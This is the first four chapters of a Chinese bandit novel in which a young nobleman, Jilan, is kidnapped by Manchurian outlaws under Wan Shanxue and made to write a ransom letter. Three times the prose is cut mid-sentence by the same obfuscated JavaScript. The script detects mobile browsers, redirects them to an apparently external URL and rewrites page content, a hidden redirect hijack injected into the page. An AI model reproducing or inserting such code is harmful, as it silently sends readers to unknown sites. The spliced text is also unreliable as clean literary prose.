《此心如铁》 1. 第一章 胡子 秋日的晴空之上,有一排飞赴南方的大雁。它们飞得并不很快,想是天气还没有到十分紧迫的地步。从地上看来,那一排鸟儿,小得像是几颗芝麻粒。 大雁南飞,人却向北。 顺子和采莲并肩坐在马车前,两个人都呆呆地抬头向天望去。顺子手中的马鞭有一搭没一搭地抽着马屁股,舟车劳顿了许多日子,柳条边近在眼前,他也不急了。 “你说,这儿的天,怎么就那么高啊。” 他喃喃一声,手中的鞭子终于垂落下来,马车走得愈发慢了,是为着给一队粮车让路。运粮的车队同他们擦肩而过。那队伍一眼望去,在这条路上漫长地蜿蜒,嘿,乍一看,还以为看不到头儿呢! 这条路是通往柳条边的路,也是柳条边通往其他地方的路。 “我还是第一次看见这么长的运粮队呢。”采莲的眼神同顺子一起落在车队上,红红的圆脸上带着喜兴的神色,这一路上很有些疲惫,但她还是个爱看热闹的小女孩呢。 车队的人偶尔也向他们的马车投来一瞥,偶尔也有人对他们两个笑一下,这是丰收的时候,庄稼人脸上的笑容也变得多了;采莲歪着脑袋傻笑,粮队的队尾,板车上躺着一个穿着破褂子的少年,见到他们两个在看,一骨碌坐了起来。 少年口中还叼着一根草叶子,对傻兮兮的采莲露齿一笑,随手丢给她一颗不知从哪顺来的果子,扬声叫道:“送你啦!”她接到手中一看,是一颗小小的果子—— 这果子黄澄澄、圆滚滚的。采莲就手将它在身上一擦,没等顺子说什么,已经“咔嚓”咬了一口—— “是梨子呢!”梨子虽小,却很甜,很多汁。 顺子脸上现出无奈的神情。 车队走远了。 “我的姑奶奶,你可真是……”顺子摸了摸自己光溜溜的前额,只有苦笑。说什么?说她没个防备心?从北京一路走到这里,也没少吃亏,怎么这心眼子就是不见长呢?他摇了摇头,正想说些什么,忽然听见车内传来冷冷的一声: “顺子。” 他立刻对采莲使了个颜色,一回身,打开马车前壁的小门,十分奴颜婢膝地赔上笑脸:“济兰少爷叫我?” 在略微昏暗的光线之中,露出一张小小的窄脸:肤色冷白,一双眼睛像是两颗星子,亮,但亮得总有几分幽暗;鼻子随了他自己的额娘,小而挺秀;嘴唇则略有些孩子气的丰厚,一看便知有福;只不过头上前额同顺子不一样,已经长出了细细的绒毛——这还不够,剪掉辫子以后,为了协调,连后脑勺的残发也用推子给推了。唉,这发型一眼就让顺子心惊肉跳,可是再想想自己那失却了的辫子,又心有戚戚然。 “还有多久才到?”那声音沙沙的,像是绸缎摩擦的声音,极为动听。 “回少爷,快了。您看见刚才过的运粮车队了?我们马上就到柳条边啦!” “唔。”济兰道,“我让你打听的事儿呢?” “回少爷,昨儿咱们在车店的时候,我略略问了几个人,都说咱这老‘罗’家,是柳条边有名有姓的大户嘞!吃穿用度,没有一样不好的。要奴才——要、要我说,老爷思虑周全,断断不会叫少爷受苦的!” 济兰冷冷一哂,并不多话。顺子多少有些自讨没趣,又咧嘴赔笑。 他的笑脸跟前,墨绿色的帘子“唰”地放了下来。 他恨恨对帘子做了个“啐”的口型,回过身来,只见采莲正看着他的窘样,吃吃直笑。 “笑什么!”他咳了一声,压低声音吓唬她,“关东正闹胡子闹得凶,再笑,把你卖给胡子做压寨夫人!” 采莲眨巴着她天真而无辜的眼睛:“什么是‘胡子’呀?” 她是家生子,自小就跟在少爷身边伺候,只做些房内的轻省活儿,由是养得白白胖胖、一派天真。顺子真是想不通,带谁不好,怎么就给她带上了呢!还是少爷,一贯地骄纵她。不过呢,这也有好处,他肃了脸,继续吓唬道:“胡子就是响马、强盗!哼哼哼,你要是不听我的话,我就把你卖给胡子!” 前几日,还真给他打听到了,陈家烧锅店里的老酒鬼告诉他,最近关东闹胡子厉害,最厉害的那个,就叫……叫……叫什么什么雪来的? “胡子都长什么样儿啊?”采莲问。 “胡子啊……我听说,胡子一个个长得都身高八尺、青面獠牙!一个个都丑得不得了……最丑最狠的,还能治小儿夜啼……”说着说着,他越靠越近、越靠越近,都快把采莲给挤下去了,“但是呢……要是你亲我一口,我就不把你卖给胡子啦!” “呸!不要脸!”采莲笑骂着,手指头在顺子瘦得凸出来的肋骨上乱戳,戳得他哈哈大笑,又嗷嗷叫唤起来,两个人闹成一团。 在他们身后,一阵马蹄声由远及近地响了起来,采莲甩开顺子的手,侧过身往身后张望,问道:“我怎么听见马蹄声?运粮队有这么快回来吗?” 应着她的疑问,马蹄声轰隆隆地渐近了。顺子恍然大呼一声“不好!”,狠狠连挥了几下鞭子!马儿吃痛,撒开蹄子狂奔,两个人的后脑勺“咚”一声撞在车壁上,险些一同跌进马车里面去。 可是,这匹马虽然是一匹好马,但它不光要拉一辆马车,马车上还有三个人,跑得再快,又能有多快?于是不多时,那轰隆隆的马蹄声已经逼到近前。在顺子惊恐的呼喝声中,他余光之中分明看见左右两侧,几匹白马并驾齐驱;再一眨眼,正前方掀起一大片土路的烟尘,呛得二人连连咳嗽起来!顺子紧抓手中的马缰向后猛拉,口中“吁”声连连!采莲惊声尖叫,马儿嘶鸣声声,场面怎叫一个乱字了得!胡子!真是胡子! 烟尘渐渐散去了,顺子听见男人的笑声,一群群地,落进他的耳朵里。他的心也终于沉下去了。沉得不见底。 “跑?再跑,能有咱的‘连子’快?”笑声中,他听见一个粗噶的男声。睁眼去看,只见马车前头正拦着三匹高头大马,马上各坐着一个人,都高塔子个儿,五大三粗。刚才说话的,正是打头的那个。只见他宽肩厚背,身高臂长,一只眼睛给一个皮罩子蒙着,只有一只好眼睛露在外头。 他的胳膊被采莲的指头掐进肉里,掐得生疼,疼得他的声音都变细、变弱了:“各位爷……拦、拦我们两个,有何贵干?” 他这一张嘴,比奶猫叫还不如,也无怪乎那几个人再次粗声大笑起来。 顺子好不容易积攒起来的勇气,又随着他们的笑声流走了。 独眼身后上来一人,长得一副笑面,仿佛他和和气气很好说话似的,对独眼道:“京片子,没错。是那个‘红票’!” 独眼也笑,只不过,他一笑,反而更显出凶相,令采莲和顺子二人抖若筛糠:“真的‘票’,应该在车里呢吧?” 两个人俱是一颤,顺子咽了口唾沫,心思电转,已经开口叫嚷道:“好汉饶命!车里什么也没有……我们两个是、是背着家里私奔,投奔到这里的……好汉要什么,我们给什么,何须动刀动枪。” 顺子的眼睛瞄着独眼腰上的枪杆子,绝望地发现,对他这个小身板来说,夺枪根本不可能——瞧他这张乌鸦嘴!说什么来什么!他忍不住想要向身后看,等着一路上的主心骨,他那位身骄肉贵的少爷说句话,但身后一片寂静,他只能咬牙不语。 胡子们又是一顿好笑。 “把咱们几个当‘台炮’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516183|186227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”独眼笑完了,脸上又是冷冷的,忽然抬手一挥,“搜车!” “不,不,不行,不能搜车!”顺子整个人扑到了那扇小门上,可是他的小身板,在胡子手底下,就好像一只小鸡崽子那么轻,随手一挥,就给挥到地上,摔得尾巴骨生疼,口中却还叫,“采莲!采莲!” 不等采莲上去拦,那扇小门“吱嘎”一声,自己开了。 一只黑洞洞的枪口。 枪口之后,是一张雪白、美丽而冷酷的脸。 “砰”地一声!电光火石之间,只听独眼身后一个小子大叫一声,跌落马背,马群受惊,胡乱踩踏,独眼□□那匹更是长嘶而起!他口中连唤两声,呼喝着不让那马去踩落马之人的时候,那枪口已然再次举了起来—— 第一次,枪口瞄的就是独眼那只好眼睛!只是第一次没有打中,这一次—— 马蹄声!顺子又听见了马蹄声! 这马蹄声比所有的马听起来都快!马车的背后,土路的那一头,飞奔而来又一匹白马,远远的,只像是一个小白点,而所有的事都发生在那么一瞬间!枪的扳机声、什么东西破空的声音、采莲的惊叫、顺子自己倒抽的冷气,然后是—— “啪!”地一声,随着济兰的一声惊喘,又是“砰!”地一声,枪发了!尔后,那把枪从雪白的手中落到地上,枪口仍然冒着烟。同时落到枪旁边的,只是一颗飞来的,很有重量的鹅卵石。 马安抚住了,所有人都顿住了。 直到这姗姗来迟的白马停住脚步,马上的人下了马背,略一欠身,从地上拿起了那把用来防身的枪。 “花口撸子。真是好枪。”那人看了眼枪,忽然一笑,戴着巴拿马礼帽的脑袋抬了起来,先是望了望歪在马车中的济兰,似乎为他容貌所摄,看多了几眼,又转身责怪地看了独眼一眼。济兰见到,他垂下来的左手还握着一把弹弓。原来刚才,这人就是用这把弹弓打落了他的枪。 弹弓! 这么远的距离,这么不趁手的武器…… 济兰呆呆地望着这人的侧脸,只见白色的帽檐下头,线条英俊挺拔,略深的眼窝里嵌着两颗黑黝黝的眼睛,带着水气,就像是孩子才会有的眼睛;只见他身量高大、器宇轩昂,又看衣着打扮,不知道的还以为是个留洋归来的富家子,没想到,居然是个胡子! 方才喜气洋洋走出去的粮队,又去而复返;只不过这一次,押粮的全都骑着高头大马,挎着枪,嘻嘻哈哈又有说有笑。顺子坐在地上,张口欲哭无泪,采莲则早已眼泪涟涟,靠在车上不说话。 “咱‘独眼枪’怎么不说话啊?”白礼帽扬眉一笑,独眼垂下头,避开了他的眼睛。看他神色,似乎还待多调侃两句,又听一把脆生生的嗓音叫他道:“大柜!我弹弓呢?快还我。” 一个少年从运粮的板车上跳了下来,采莲一见了他,一根指头指着少年的脸,惊呼道:“你!你……你是刚才那个……” 少年对她做了个鬼脸。 “是我。怎么样,那梨好吃么?” 采莲忍了又忍,终于忍不住把嘴一咧,大哭起来。 “把他们几个捆了。”白礼帽一努嘴,几个人走上来,把顺子、采莲和车内怔然不语的济兰全都五花大绑起来;而他自己,却自顾自地把中枪的崽子扶了起来。那崽子似乎没有什么地位,只是一个杂兵,由这白礼帽亲自来扶,便已是一副感激涕零之态;白礼帽又给他暂且包扎好了伤口,这才翻身上马,将两根指头塞入口中,长长地唿哨了一声。 “扯呼。”白礼帽微微一笑,声音十分欢快。脸上颇有几分自得之色,就仿佛是哪个小男孩,做成了一个十分了不起的恶作剧一样。 2. 第二章 绑票 济兰的眼前漆黑一片,什么也看不见。 他、顺子,还有采莲,不光是被五花大绑,连眼睛也给蒙了,三个人丢进马车,一同在车里颠簸。 顺子在唉声叹气,采莲低低饮泣。 “哭什么?”他冷冷道,黑布盖得很结实,一点儿光都不透,可他脸上还是冷冰冰的,像一块冷玉雕出来的人。 两个人的声音都低了些许,终于给了他一些钻牛角尖的空间。 那一枪,怎么就没有打准呢?是打中了一个人,可也只是打中了一个无名小卒……要是他真打中了独眼的眼睛……不,不好,那颗子弹最好的去处,就该是那个神气洋洋的白礼帽的太阳穴! 黑暗之中,他咬紧牙关。说不让别人哭,自己却恨恨眨去了一滴愤怒懊悔的眼泪。 三个人都静静地栽歪着不动弹,也无话可谈;只有马车外的阵阵谈笑声清晰地传来。济兰咬牙忍辱,略挪了一挪位置,倾耳去听,脑海中把他们的声音和脸目都一一对上了。 先是那个扔梨子给采莲的少年,听起来活泼爱笑:“大柜,你也让我摸摸你的喷子呗!” 什么是“喷子”?他皱了皱眉,又听见白礼帽笑道:“我看你那弹弓很好用,用起来不比喷子差!” 其余人哈哈大笑起来,那少年气得吱哇乱叫。济兰在心里猜想,这么说“喷子”,指的就是枪咯? 又有人说话,声音粗噶,是那个“独眼枪”! “你个马拉子,给你家大柜拉拉连子就算了!净琢磨那没影儿的事儿!” 这一句话里,有一半都听不懂。黑布之下,济兰眨了眨眼,睫毛刷过粗糙的布料,他嫌恶地皱起眉头。 “独眼哥,你说话真不中听!”少年道,“这可是我打听来的票,包管是个肉蛋孙!要不是我给你们放龙,你们怎么发财呢?” 他这样一说,其余人又都笑着称是,半晌,白礼帽沉沉的声音又响了起来:“你少学这些盘行话。等回去了,让你郎大哥知道了,你要把他取而代之,说不准就得收拾你。” “郎大哥才不会收拾我呢……他最近又去花果窑子找他的相好儿了……”少年嘀咕几句,似乎给人瞪了一眼,不作声了。 又是一阵沉默,只有马车轮子的辘轳声。 过了一会儿,突然有人叫了起来,这声音济兰并没有听过:“大柜!还有一程子到呢,给俺们唱两段呗!” “对啊大柜!唱一段呗!” 白礼帽依稀笑骂了一声,济兰没有听清,只知道起哄声一浪高过一浪,他凑近了车壁。 “一个个马拉子,净把老子当唱戏的了!”,骂了两句,白礼帽又说,“你们也没得挑……我就唱《张郎休妻》吧!” 此地与北京不同。济兰在北京时,也听些昆曲京戏什么的,只是听得不深,更称不上行家;只是这白礼帽一张口,那唱腔确实与京戏两模两样,不知道是这戏的规矩,还是他个人的特色;只听白礼帽清咳了两声,连嗓子也懒得掐,声音高亢粗犷,回荡在这片平坦而又辽阔的土地上,传遍四野—— “郭丁香鸾房把针线忙。忽听见门外叩门响。 欠身我不在鸾房坐,给我的丈夫开门厢。 迈一步就把鸾房出,想起了昨晚上梦一场。 我梦着,吃饭我打了两个碗,却断筷子正两双。 打了碗如同打石散,却断筷子离家乡。 叨叨念念往前走,大门来见在目旁, 胸前我开开了门两扇,果然是俺丈夫转还家乡——” 马车悠悠荡荡之中,并不合宜的歌声之中,济兰不知何时睡着了。 直到一只手粗暴地撤去他脸上的黑布条,他才猛然惊醒。 “下来!快点!” 他们三个都给撤去了黑布条,只是手还绑在背后,被粗暴地或扯或搡弄下了马车。济兰睁眼望去,只见身后一条蜿蜿蜒蜒的山道,来不及多看一眼,就给一个崽子推搡着,驱进一个山洞,走过幽暗的山洞,再见光的时候,他们发现,自己已经身在山中了。 但是不等他有任何反应,他们又被驱赶着,又走近一个需要矮着身子才能进的小山洞,洞口嵌着一个铁杆铸成的小门,而小门之内,黑洞洞的看不真切。 采莲早已被吓哭了,顺子一只手把她拦在身后,弱不禁风的小身板也在颤抖。济兰冷眼看着,忽而拧在原地,不管怎么推搡都不动弹一下。 可他忘了,这里怎么也不是他在北京的大宅子家里。那崽子长就一脸横肉,单手抓过他领子,劈手连扇了济兰四五个耳光!采莲猛然尖叫起来,合着噼啪声,一块儿扎进济兰嗡嗡作响的耳朵里。“当”地一声,他整个人给这么一推,就撞到那扇半人高的铁门上,一时头晕目眩,站不起身来。 “少爷!少爷!”喊也无用,就这么着,三个人一块儿给塞进了那间小小的洞内,全都直不起腰,只能蜷着坐着。一时间哭喊声、关切声在济兰耳中乱作一团,令他无论如何也没能昏过去,只蜷缩着浑身发抖,一言不发。 他身子打抖,自个儿抱着自个儿,脸面通红,红得火烧,红得流血,一双寒星般的眸子死死瞪视着小门外那个满脸横肉的崽子,仿佛就要这么样把他瞪到脑子里,一辈子都记得一般。门外欢天喜地地响起呼唤“大掌柜”的声音,又山呼海啸般的一阵“搬姜子!搬姜子!”,那崽子便也不顾着他们,跟着去搬酒坛子了——想来,又是一队粮食,又是三个肉票,当真值得酒肉庆祝。 采莲扑在他身边,眼泪珠子一颗又一颗,打在他火烫的、肿起来的脸上;他被她哭得心烦,随手将她一推;没成想,随着一声尖叫,她又爬了回来,四肢都巴在他身上—— “少爷,少爷……那儿……那儿有人……”采莲的声音不似作假,济兰只以为她是给吓破了胆,什么都当真,转目看去,另一只胳膊又给顺子掐住,只听顺子在他耳边倒吸了一口凉气—— 黑暗之中,依稀有一个人形的东西,似乎也知道来人了,在洞内一角缓慢地蠕动。借着洞外火把的一点点光亮,他们终于看见,那人形的东西缓而又缓,撞来撞去地爬了出来—— 又是一声尖叫!淹没在胡子们的寻欢作乐声中。济兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516184|186227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岿然不动,只是牙关紧咬,眼见着那东西彻底爬了出来—— “少爷……”采莲的吐息冰冷而颤抖,就在他耳边,“他……他脸上怎么什么都没有!没有眼睛、没有鼻子、没有耳朵,嘴唇子也……” 一瞬间,济兰如坠冰窟。 可幸那人似乎听力也不行了,三个人大气不敢出一声的工夫,他又缓慢地爬回他的墙根,依稀有声音响了起来,原来是那人形的怪物开始对着墙角哭泣。 采莲的声音仍在济兰耳边喋喋不休,顺子则像是完全吓傻了。 他们也会这样吗? 全国各地,哪里不闹土匪,哪里没有响马?不过是把他们三个绑了票,索要赎金。可是……可是……如果没有赎金呢? 济兰心中升起一个可怕的猜想。 如果没人来赎他,那么……他也会被一刀、一刀地割掉鼻子耳朵眼睛嘴巴,变成一个对着墙角哭泣的怪物吗?! 这可怕的猜想攫住了济兰的全部心神,令他几乎想要不顾尊严地嘶声叫喊!但是他终究耐住了,耐住了。他萨古达济兰,活在这世上十八个年头,从来是眼睛长在头顶上!什么也不能让他眨一下眼,什么也不能让他流一滴泪……这些没开智的畜生,也能、也能唬得住他么! 破天荒地,他终于开口说话,安慰似的,只是不知道是为了安慰他们两个还是为了安慰自己:“没事儿。他……他不来搅扰咱们,咱们不去搅扰他,也就是了。” 他们三个在黑暗中,瞪着惊魂未定的六只眼睛,看了一会儿。这回济兰终于说对了,他们几个还是可以相安无事的。 三个人疲惫地靠墙坐了下来,石墙凹凸不平地硌着他们的脊梁骨,存心要他们坐也坐得不舒服。 这一天经历得太多,太过刺激,济兰的大脑都变得疲惫而迟钝。但是他还活着,只要活着,清醒着,就只能一刻不停地思考……那个猜想绝非只是可怕而已,它会变成真的!他必须活下去……可是,要是给人割了五官,蒙昧丑陋地活着,那倒也不如死了。 他冷冰冰地逼着自己思考,直到思考到绝无一丝余力,才再次睡了过去。 再醒来时,不知道什么时辰。他眨巴眨巴眼睛,在一点微弱的日光中,看见铁门之外,一张他从未见过的脸孔,正专注地盯着他。不知道盯了多久。 济兰几乎是立刻就清醒了。 那人慢条斯理地用锉刀磨着自己的指甲,见他醒了,苍白的尖脸上露出一个微笑。 “终于醒了?” 采莲的呼吸沉沉地喷吐在济兰的肩头,顺子缩在他身侧的角落里睡着。 一夜过去,济兰的脸已经高高肿起,但是他的表情却仍旧镇定,乃至于到了冷漠的地步。 “醒了。所以我们谈谈价?” 那人微微一哂,咂了咂嘴,两手一摊,道:“谈价,我说了可不算。” 济兰挑了挑眉。 那人吹了吹锉刀,指甲的粉末在晨曦之中飞舞,济兰眼也不眨地盯着他。直到他终于收起了锉刀,说:“走吧,少爷。大柜请您,台上拐着。” 3. 第三章 写信 这土匪窝整个儿都在山里头,错综复杂,弯弯绕绕。 济兰默默跟在苍白脸的男人身后。一夜过去,他腰酸背痛。可他还年轻,理所应当撑得住。 在经过了一阵曲折之后,他们终于到了“大柜”所在的地方。如果济兰猜想不错的话,这个“大柜”就是白礼帽,就是他们的头儿了。 “进去吧。”那男人说。 原来他们已经走到一片大大的平地上,四周还摆着十几张大桌子,上头仍残留着昨夜土匪窝庆祝剩下的残羹冷炙;空地对着山下的两角各有一个炮楼;走过这片空地,就是一间颇大的木屋,想来这就是白礼帽的藏身之处了。 想到这里,济兰几乎感到了几分荒唐:这地方远没有他北京家里宽敞、舒适,或者不如说,这简直是野人住的地方!可惜,落难的凤凰不如鸡,甚至于连他自己的小命,都给抓在这帮野人手里了。 他走到门前,突然转回头去,眼见着那男人仍在原地,似笑非笑的望着他;他起了一身鸡皮疙瘩,转身往木屋走去。 出乎济兰预料的是,这屋内又明亮,又暖和,也没有摆满可怕的无法想象的刑具,他不禁在心里暗自唾弃自己的胆量;放眼望去,这屋子里的陈设,同一般农户家大约没有什么区别,房间正中还砌着一张大炕,大炕中间摆着一张四四方方的小桌,两头一共坐着四个人。 那几个人本来正在说话,一见他进来,忽然止住了话头;其中一人站了起来,济兰看见她的头发梳成了一根油光光的大辫子,长得拢过来垂在胸前——是个女人。 土匪窝里,也有女人么? 还不等他警惕地思考,那帮男人已经笑了起来;济兰一眼看见,那扔梨的小孩儿也盘腿坐在炕里头,一面笑,一面说道:“嫂子真是,忙的什么,一见了人就要跑。” 那女人脸上红扑扑的,嘴角自来翘着,用手指头狠狠点了点少年的额头,笑道:“就你会说,就你聪明,就你能个儿!以后少上绺子里来,少吃我做的饭!” “嫂子,我错了,我真错了!”少年嬉皮笑脸地告饶,几个人嬉笑的工夫,坐在南面那人突然开口道:“行了,都闭了吧。” 白礼帽今天没戴白礼帽。似乎是因为这是他的“家”,穿着随意了不少,只不过看他身上褂子的料子,坐在炕上闲适的姿势,又像是一个大地主了。 他不说话的时候,好像十分随和可亲,突然一下令,这室内便静得鸦雀无声。女人也不笑了,说话仿佛很小心,又很关怀,凑近了说:“那我去泡点黄连子,再备两杆熏筒子?” 白礼帽一抬下巴,她便迈着碎步从后门走出去了。 济兰站在原地,一动不动。 白礼帽也看着他,没说话。 这是济兰第一次见到白礼帽的正脸。有些人侧脸瞧着英俊漂亮,正脸却不敢恭维;白礼帽就是很少见的正面侧面都很英俊的男人。从正面看来,他眉骨压在眼睛上,显得有几分凶相,只是那双眼睛仍旧是水水的,那凶悍就给这一分的孩子气中和了。 这时候,他身侧坐着的那个青年男人先一步开口了:“春点开不开?” 见济兰脸上一片茫然,青年男人摇了摇头,他似乎是常在外面跑,肤色很黑,比起土匪,也更像个码头力工,只听他笑道:“这下说话费劲了。” “台上拐着。”白礼帽淡淡道,一指炕沿,炕上的人都往后挪了挪屁股,济兰知道,这是让他坐到炕上来。 他心里倒有意去贬斥他们这群野蛮人,因为自己身份更高贵些,可是还没忘得了昨夜三人所见的那“没皮没脸”的怪物,由是带着几分忌惮,走到炕前坐下了。 他坐下的时候,大辫子的女人也回来了,手里端个托盘,上头放着茶壶和一套小茶杯,济兰扫了一眼,只看出这是青花料,仿古的,不值什么钱。不过,在野人堆里见到这东西,也十分稀奇了。 女人放下托盘,开始给他们倒茶,又从托盘上取下来两杆烟枪,都是点上了的;济兰一惊,用鼻子吸了吸,又狐疑地看着白礼帽将烟杆拿在手中,咬上烟嘴,等对方吐出第一口烟气,才终于确定那只是寻常的黄烟叶子。 “啃草卷?”白礼帽道,问出口,又忽然一笑,他这一笑,露出嘴角一颗小小的虎牙来,“哦,我忘了,你春点不开,不懂黑话的。会抽烟么?” 济兰虽断定了他抽的不是大烟,但仍不肯放松警惕,摇了摇头。 白礼帽并不强求,那烟杆便放在那里,无人敢动。 济兰余光之中,那丢梨子的少年目光炯炯地望着他们二人,眼珠一错不错,仿佛生怕错过了什么似的,崇拜之意溢于言表。 白礼帽的脸渐渐隐没在一片烟雾之中,影影绰绰,看不真切,说话的声音平稳而温和:“兄弟怎么称呼?” “济兰。” “济兰兄弟,把你请到这儿来,叫你遭罪了。实在是对不起。可是……你也见着了,我这山头说大不大,说小不小,也有不少张嘴要养活。” 济兰听他口气,不由得心中冷笑,想道,昨天刚给我一个下马威,如今又唱起红脸来了;于是也不说话,静等着他唱什么戏。 “我手底下的崽子听说,你大伯家有点儿家底儿,我有心找他借点儿……不过,借钱总要有点由头吧,”烟雾之后,那双孩子般的眼睛眯了起来,似乎现出了几分狡猾的得色,“又听说你来投奔,于是我们就给你请了过来。” 济兰还是不说话,白礼帽已经顺顺当当地说了下去。 “所以呢,我今天特特请你来,给你家里头修书一封,就说……你同关东山的‘万山雪’交上了好朋友,现在,好朋友手头紧,要他接济接济,怎么样?” 饶是济兰几次按捺,听了这话,也猛然站了起来! 炕上的四个人见他站起来,各自坐着不动。当然,万山雪也没有动,只是鼓着烟,在缭绕的烟雾之中仰脸望他。 “咋了,有啥不妥么?”万山雪轻声道。 济兰的胸膛起伏几许,忽然也笑了。 他本就生得漂亮,虽说两个脸蛋又红又肿,笑起来还是令得这个十分有辱他身份的破木屋蓬荜生辉。 “没有什么不妥。”他又坐了回去,甚至还保持着那个美丽的笑容,“那么大掌柜的想要我怎么写呢?” 万山雪又一抬下巴。 这时候,原本缩在火炕角落的瘦小男子凑上前来,从屁股后头拽出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516185|186227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来几张纸,并一个砚台一只笔,先十分穷酸地在口中含了一下笔尖润开,又把毛笔在干涸的砚台里戳了戳,算是蘸上了墨。这人看上去文气不少,在这个地方,实在显得很奇怪,济兰忍不住多看了他两眼。 现在,这炕上的五个人里,有四个人都在看着济兰,等他口述写信。济兰突然道:“不必麻烦,不必麻烦。我自己写就好了。” 说罢,在万山雪的默许下,那只快秃了毛的毛笔递到了济兰手里。 同样,还是四双眼睛紧紧盯着,济兰望了一眼万山雪,低头开始写: 阿林保大伯: 见字如晤。我已到关东山,被万山雪大掌柜的请来做客。大柜盛情难却,留我小住几日再走。唯有一事,修书先请伯伯示下:万山雪大柜有言,他们在山上缺衣少食,向你借—— “十万两金子。”喷出一口烟雾,万山雪的手指头伸过来,在纸面上点了点,“不要铜元,期条,票子……这年头什么钱也不如金子保准……” 济兰眉头也不皱一下,按要求写了下去。 这封信写完,还不待他细看一番,泛黄的信纸就被万山雪抽走了,随手递给那个文气青年去检查;两只总是带着墨迹的细瘦双手捧着信纸看了又看,那人道:“没问题了。” 不及万山雪说话,本来静默在一旁看着的女人突然将手一拍,眉开眼笑地去拉济兰的手:“这就好了。瞧这小脸儿肿的,我那边还剩点丹底子,回头给你抹上。房间也备好了,这下可抻开胳膊腿儿了。” 万山雪转过脸,嗔怪地看了她一眼。 济兰也想回女人一个笑容,只是这下笑得终于有点勉强了。 “在此之前,我有一事相求。” “啥?” “我想……解个手……” 女人给济兰准备的房间很小,但是收拾得很干净,有一铺火炕,炕上的被子散发出洗旧了的皂角味道。不知道为什么,她总是笑眯眯的,而恰好,济兰的神经在刚刚的谈判中已经紧绷得十分疲惫,所以现在他的脸上一点笑容也没有,由着女人把他拉到炕沿坐下,用一种气味难闻的膏药抹在他肿痛得几乎麻木了的脸上。 他任她施为,长长的睫毛低垂下来,遮住了那双寒星似的眼珠,倒显得有了几分乖觉。 女人离得很近,他不去看她的眼睛,只感觉她轻柔的手指在他脸上抚摸,偶尔向敷好的地方略吹一吹气,激起一阵清凉的痒意。 济兰眨了眨眼。 似乎是看他年纪小,女人又笑了,这一次笑得很有些安慰的意味:“你别怕,只要是写完了信送去,这事儿就成了一半了,成了一半,剩下的一半也快了。” 济兰反问道:“你怎么知道?” 女人笑一笑,并不回答这个问题;济兰突然想到,她本来就是这个土匪窝的女土匪,见得多了。知道这些流程又有什么稀奇? 他不说话,女人却十分自如,用毛巾擦了擦手站了起来,笑道:“有什么事儿叫我就好了……你叫我粮姐就是了。” 见济兰仍盯着她不说话,她微微一笑,一甩那油亮亮的大辫子走了出去,还贴心地掩上了门,把他一个人留在了这个破破的小房间里。 4. 第四章 回信 这是万山雪落草为寇的第四年。 他落草以来,见过不少稀奇事儿,样样都够下三两酒喝,但是像邵小飞这么猴急的孩子,还是他生平仅见的第一个。 信一交到邵小飞手里,邵小飞蹦起来就没影儿了。万山雪只来得及说一句:“同人好好说项,不要冒失——”,邵小飞就“嗯嗯啊啊”地边答应边跑出去了。 正好这时候郝粮来找他,他也没来得及叫住那孩子。 万山雪看见郝粮来,鼻子里“哼”了一声,看着她不说话。于是郝粮也只好摸着自己油光光的大辫子,说:“咋啦?那孩子我已经安顿好了,你跟我急也没有用。” 话是这么说,可她说的时候,眼睛仍然觑着万山雪的脸色;万山雪只好长叹一声,回答道:“既然你已经打定主意了,跟我磨叨什么?” 他又开始抽烟,长而骨感的手指托着红色的铜烟杆,看起来很忧郁似的。郝粮拍拍他的肩头,笑道:“那小孩还有两个随从关在秧子房呢,怎么样,让正青把他们也放出来吧?” “好啊。”万山雪语气平板,凉凉地道,“不如再给他们一人配一个佣人,再请三个厨子,一天吃三顿满汉全席,我在旁边打扇。” “欸呀!瞧你说的。我不是看那几个孩子可怜么?当年……你也是这个年纪……” 她这样一说,万山雪的脸色立时冷了,烟也不抽了,将烟杆子往桌子上一拍,不说话了。 他生气有些威慑力,可是郝粮从来知道怎么对付他,坐下来,用自己的肩膀撞了撞他的肩膀,说:“我看那小孩儿长得真漂亮,怎么了,你不中意?” 果不其然,万山雪立刻坐直了,眼睛在四下一扫,没看见谁在探头探脑,压低声音恼道:“姐!你又乱说话!” 郝粮撇了撇嘴。 “还不是为了你?我是你们老褚家的团圆媳妇,你不肯,我只好……” “好了,好了,你想咋安排,就咋安排,我不管了,成了吧?” 郝粮立刻眉开眼笑了,一挥手道:“行,那我做饭去了。晚上漂洋子(吃饺子)!” 万山雪臊眉耷眼地横她一眼,只好抽他的烟。 有什么办法呢?从他们两个到关东山来,就一直是相依为命的,郝粮拿着他的七寸,他也乐意让他姐拿着,这是没办法的事情。 